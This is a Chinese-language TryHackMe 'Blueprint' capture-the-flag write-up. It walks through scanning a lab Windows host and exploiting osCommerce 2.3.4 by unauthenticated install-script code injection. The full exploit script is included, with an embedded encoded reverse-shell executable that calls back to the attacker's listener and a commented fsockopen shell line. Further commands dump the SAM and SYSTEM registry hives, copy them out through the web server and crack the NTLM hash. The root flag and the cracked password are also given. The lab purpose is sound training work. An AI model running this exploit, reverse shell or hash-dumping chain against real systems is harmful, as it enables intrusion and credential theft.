Blueprint (Try Hack Me Writeup)


URL : https://tryhackme.com/room/blueprint
IP : 10.10.66.7

Scan

  • 一樣老梗 nmap -A 10.10.66.7
    • 發現開了很多 port
    • 80 port 進去是 404
      • 先放一邊
└─$ nmap -A 10.10.66.7    
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-29 03:57 EDT
Nmap scan report for 10.10.66.7
Host is up (0.32s latency).
Not shown: 984 closed ports
PORT      STATE    SERVICE      VERSION
80/tcp    open     http         Microsoft IIS httpd 7.5
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: 404 - File or directory not found.
135/tcp   open     msrpc        Microsoft Windows RPC
139/tcp   open     netbios-ssn  Microsoft Windows netbios-ssn
443/tcp   open     ssl/http     Apache httpd 2.4.23 (OpenSSL/1.0.2h PHP/5.6.28)
|_http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.0.2h PHP/5.6.28
|_http-title: Bad request!
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
445/tcp   open     microsoft-ds Windows 7 Home Basic 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
1165/tcp  filtered qsm-gui
1971/tcp  filtered netop-school
3306/tcp  open     mysql        MariaDB (unauthorized)
5190/tcp  filtered aol
8080/tcp  open     http         Apache httpd 2.4.23 (OpenSSL/1.0.2h PHP/5.6.28)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.0.2h PHP/5.6.28
|_http-title: Index of /
49152/tcp open     msrpc        Microsoft Windows RPC
49153/tcp open     msrpc        Microsoft Windows RPC
49154/tcp open     msrpc        Microsoft Windows RPC
49158/tcp open     msrpc        Microsoft Windows RPC
49159/tcp open     msrpc        Microsoft Windows RPC
49160/tcp open     msrpc        Microsoft Windows RPC
Service Info: Hosts: www.example.com, BLUEPRINT, localhost; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -20m00s, deviation: 34m36s, median: -1s
|_nbstat: NetBIOS name: BLUEPRINT, NetBIOS user: <unknown>, NetBIOS MAC: 02:24:bb:82:08:6f (unknown)
| smb-os-discovery: 
|   OS: Windows 7 Home Basic 7601 Service Pack 1 (Windows 7 Home Basic 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1
|   Computer name: BLUEPRINT
|   NetBIOS computer name: BLUEPRINT\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2021-07-29T08:58:58+01:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-07-29T07:58:57
|_  start_date: 2021-07-29T07:49:40

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 131.87 seconds                                  
  • 測試老洞
    • 445 port SMB 有開,又是 Windows 系統
      • 很直覺的掃一下老洞 MS17-010
      • https://github.com/3ndG4me/AutoBlue-MS17-010
      • 發現打不進去 QQ
  • 觀察 web
    • 發現 8080 port 跟 443 port 的 web server 都指向同一個 web server
    • 裡面有一個 oscommerce-2.3.4 路徑

Exploit

  • 尋找 exploit
    • Google oscommerce-2.3.4 Exploit
    • https://www.exploit-db.com/exploits/44374
  • 部屬 exploit
    • wget https://www.exploit-db.com/download/44374 -O 44374.py
    • 修改路徑
  # enter the the target url here, as well as the url to the install.php (Do NOT remove the ?step=4)
  base_url = "http://10.10.66.7:8080/oscommerce-2.3.4/catalog/"
  target_url = "http://10.10.66.7:8080/oscommerce-2.3.4/catalog/install/install.php?step=4"
  • 修改指令
    • payload += 'system("whoami");'
    • 接著執行 44374.py
    • 發現禁止 system
  • 嘗試 phpinfo()
    • 發現 disable_functions 只有禁止 system
    • 這邊有非常多種繞過方法,例如
      • passthru
      • shell_exec
      • exec
    • 在此取用 passthru
  • 再次嘗試 payload
    • payload += 'passthru("whoami");'
    • 發現他直接吐了一個 system 給我!!
  • 準備戳 reverse shell
    • 找到一個 php windows reverse shell
      • https://github.com/Dhayalanb/windows-php-reverse-shell/blob/master/Reverse%20Shell.php
      • 基本上他的原理是
        • 寫檔,把base64轉成一隻exe跑起reverse shell
    • 拿來微調一下
    • 修改 ip、port、然後把 system 改 passthru
    • 放進 44374.py
    • 完整 exploit code
# Exploit Title: osCommerce 2.3.4.1 Remote Code Execution
# Date: 29.0.3.2018
# Exploit Author: Simon Scannell - https://scannell-infosec.net <contact@scannell-infosec.net>
# Version: 2.3.4.1, 2.3.4 - Other versions have not been tested but are likely to be vulnerable
# Tested on: Linux, Windows

# If an Admin has not removed the /install/ directory as advised from an osCommerce installation, it is possible
# for an unauthenticated attacker to reinstall the page. The installation of osCommerce does not check if the page
# is already installed and does not attempt to do any authentication. It is possible for an attacker to directly
# execute the "install_4.php" script, which will create the config file for the installation. It is possible to inject
# PHP code into the config file and then simply executing the code by opening it.


import requests

# enter the the target url here, as well as the url to the install.php (Do NOT remove the ?step=4)
base_url = "http://10.10.66.7:8080/oscommerce-2.3.4/catalog/"
target_url = "http://10.10.66.7:8080/oscommerce-2.3.4/catalog/install/install.php?step=4"

data = {
    'DIR_FS_DOCUMENT_ROOT': './'
}

# the payload will be injected into the configuration file via this code
# '  define(\'DB_DATABASE\', \'' . trim($HTTP_POST_VARS['DB_DATABASE']) . '\');' . "\n" .
# so the format for the exploit will be: '); PAYLOAD; /*
# fsockopen("110.14.7.198",7877);popen("/bin/sh -i <&3 >&3 2>&3", "r");
payload = '\'); \n'
# payload += 'echo passthru("type configure.php");'
payload += """
header('Content-type: text/plain');
$ip   = "10.14.7.198"; //change this 
$port = "7877"; //change this
$payload = "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";
$evalCode = gzinflate(base64_decode($payload));
$evalArguments = " ".$port." ".$ip;
$tmpdir ="C:\\windows\\temp";
chdir($tmpdir);
$res .= "Using dir : ".$tmpdir;
$filename = "D3fa1t_shell.exe";
$file = fopen($filename, 'wb');
fwrite($file, $evalCode);
fclose($file);
$path = $filename;
$cmd = $path.$evalArguments;
$res .= "\n\nExecuting : ".$cmd."\n";
echo $res;
$output = passthru($cmd);
"""

payload += '\n\n/*'

data['DB_DATABASE'] = payload

# exploit it
r = requests.post(url=target_url, data=data)

if r.status_code == 200:
    print("[+] Successfully launched the exploit. Open the following URL to execute your code\n\n" + base_url + "install/includes/configure.php")
else:
    print("[-] Exploit did not execute as planned")
  • 本機端開 nc -vlk 7877 進行監聽
    • php 端執行下去,就拿到 shell 了!!
  • 由於我們是 system 權限
    • 所以可以直接拿 admin 的 Root flag
    • 在 C:\Users\Administrator\Desktop\root.txt.txt
      • 我猜應該是出題者手殘之類的,不小心打了兩次 .txt 吧
    • THM{aea1e3ce6fe7f89e10cea833ae009bee}

破密

  • 題目說需要破 "Lab" user NTML hash decrypted
    • 我覺得題目打錯字,應該是說 NTLM 的 hash XD
  • 由於我們是 system 權限,很大,所以可以用指令直接匯出兩個 NTLM 相關檔案、SAM 與 SYSTEM
    • reg save HKLM\SAM C:\sam
    • reg save HKLM\SYSTEM C:\system
  • 接下來把兩個檔案傳回本機
    • 這邊我用的方法是,直接把這兩個檔案放到 web 路徑中,用wget來載
    • reverse shell
      • copy sam C:\xampp\htdocs\oscommerce-2.3.4\catalog\install\include
    • 攻擊機
      • wget http://10.10.66.7:8080/oscommerce-2.3.4/catalog/install/includes/sam
      • wget http://10.10.66.7:8080/oscommerce-2.3.4/catalog/install/includes/user
  • 將 sam、system 轉為 john 格式
    • samdump2 system sam > j.txt
    • 題目問 LAB 使用者,所以我們只需要保留這一行
    • Lab:1000:aad3b435b51404eeaad3b435b51404ee:30e87bf999828446a1c1209ddde4c450:::
      • 而我們要破的真正 hash 是這個
      • 30e87bf999828446a1c1209ddde4c450
  • 暴力破解
    • 其實暴力破解通常是下下策,往往會先試著Google之類尋找網路資源
    • 不過我 Google 這段 hash 值卻出現了一堆爆雷的內容,只好自己破解QQ
    • 通常我愛用 rockyou.txt 但在這邊破不出來
    • 後來我採用了這一包
      • https://github.com/danielmiessler/SecLists/blob/master/Passwords/xato-net-10-million-passwords-dup.txt
      • 不要問我為什麼……隨便找ㄉ
    • john j.txt --wordlist=/opt/xato-net-10-million-passwords-dup.txt --format=NT
    • 爆出密碼 googleplus
  • 另外一種網路解法
    • https://crackstation.net/
    • 輸入 30e87bf999828446a1c1209ddde4c450
    • 回傳密碼為 googleplus
,

發表迴響